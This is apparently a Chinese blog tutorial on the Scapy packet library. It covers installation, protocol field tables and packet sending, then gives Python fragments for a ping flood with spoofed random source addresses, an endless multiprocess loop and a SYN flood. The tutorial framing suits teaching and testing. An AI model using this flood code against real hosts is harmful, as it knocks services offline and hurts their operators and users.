Scapy功能介绍以及DoS模拟
介绍
- 首先给出官网。
Scapy是用Python编写的交互式数据包处理工具。- 使用
Scapy可以伪造或解码各种协议的数据包,在线发送它们,捕获它们,匹配请求和答复等等。
下载
- 由于是
Python编写的,使用pip install进行安装,这里使用清华源加速。
pip3 install scapy -i https://pypi.tuna.tsinghua.edu.cn/simple
- 直接使用
scapy命令打开,若显示无法导入相关库,则对其中缺失的相关包进行安装。
INFO: Can't import matplotlib. Won't be able to plot.
INFO: Can't import PyX. Won't be able to use psdump() or pdfdump().
使用
包配置
- 使用
TCP/IP协议构造基本数据包,这里调用了Scapy的内置函数IP()和TCP()。
pkt = IP()/TCP()
注意:
IP()一定在TCP()之前。
IP()参数解析
| 参数 | 含义 | 默认值 |
|---|---|---|
| version | 版本 | 4 |
| ihl | 报头长度 | None |
| tos | 服务类型 | 0x0 |
| len | 报文总长度 | None |
| id | 标识符 | 1 |
| flags | 标记 | NULL |
| frag | 段偏移 | 0 |
| ttl | 生存周期 | 64 |
| proto | 协议 | tcp |
| chksum | 校验和 | None |
| src | 源IP地址 |
127.0.0.1 |
| dst | 目的IP地址 |
127.0.0.1 |
TCP()参数解析
| 参数 | 含义 | 默认值 |
|---|---|---|
| sport | 源端口 | ftp_data |
| dport | 目的端口 | http |
| seq | 序号 | 0 |
| ack | 确认号 | 0 |
| dataofs | 数据偏移 | None |
| reserved | 保留位 | 0 |
| flags | 控制功能 | S |
| window | 窗口大小 | 8192 |
| chksum | 校验和 | None |
| urgptr | 紧急指针 | 0 |
| options | 选项 | [] |
- 根据需求设置数据包之后,使用
{PKT_NAME}.show()可以查看报文信息。
###[ IP ]###
version= 4
ihl= None
tos= 0x0
len= None
id= 1
flags=
frag= 0
ttl= 64
proto= tcp
chksum= None
src= 192.168.239.128
dst= 110.242.68.4
\options\
###[ TCP ]###
sport= ftp_data
dport= http
seq= 0
ack= 0
dataofs= None
reserved= 0
flags= S
window= 8192
chksum= None
urgptr= 0
options= []
包发送
- 使用
send()函数发送数据包,该函数不返回响应。
>>> send(pkt)
.
Sent 1 packets.
sendp()等加了p的函数作用于第二层,发送的是帧。
sr()和sr1()发送数据包并接收响应。
>>> res, unans = sr(pkt)
Begin emission:
Finished sending 1 packets.
*
Received 1 packets, got 1 answers, remaining 0 packets
>>> res
<Results: TCP:1 UDP:0 ICMP:0 Other:0>
>>> unans
<Unanswered: TCP:0 UDP:0 ICMP:0 Other:0>
sr()和sr1()的区别在于,sr1()只有一个返回值(Results)。
Ping DoS
- 使用
Ping进行DoS攻击时,由于Ping使用的是ICMP协议,下面给出ICMP()的参数解析。
ICMP()参数解析
| 参数 | 含义 | 默认值 |
|---|---|---|
| type | 消息类型 | echo-request |
| code | 代码 | 0 |
| chksum | 校验和 | None |
| id | 标识 | 0x0 |
| seq | 序号 | 0x0 |
Ping攻击报文的设置比较简单,通过随机配置ICMP()也能实现Ping DoS的攻击效果。- 结合
IP()设置目标主机IP。
#判断是否随机源
if random_source ==True:
#随机构造IP
source_ip = Random_IP()
ip_proto = IP(src = source_ip,
dst = host,
ttl = 1,
id = id_ip)
else:
ip_proto = IP(dst = host,
ttl = 1,
id = id_ip)
#id_ping和seq_ping均为随机配置
icmp_proto = ICMP(id = id_ping,
seq = seq_ping)
#设置数据内容
data = b'ping dos'
pkt = ip_proto / icmp_proto / data *100
send(pkt)
- 在这基础上,要想达到效果,我们需要增加攻击报文的量。
- 通过循环重复攻击之外,我们采用多进程并发的方式增大攻击频率。
#processes设置太高会影响本机运作,太低起不到干扰效果
def ping_concurrent(host, processes=5, random_source=True):
#创建进程池
pool = multiprocessing.Pool(processes=processes)
while True:
try:
#选择进程的任务和参数
pool.apply_async(ping_times, (host, random_source))
except KeyboardInterrupt:
pool.terminate()
SYN_Flood
- 多进程和重复次数的性质和
Ping DoS一致,这里主要的区别在于把ICMP协议换成了TCP协议。
# Randomly generate source port
src_port = randint(1,65535)
tcp_proto = TCP(sport = src_port,
dport = port,
flags = "S")
pkt = ip_proto / tcp_proto
- 其中
flags变量表示了TCP三次握手的不同状态,S表示SYN。

浙公网安备 33010602011771号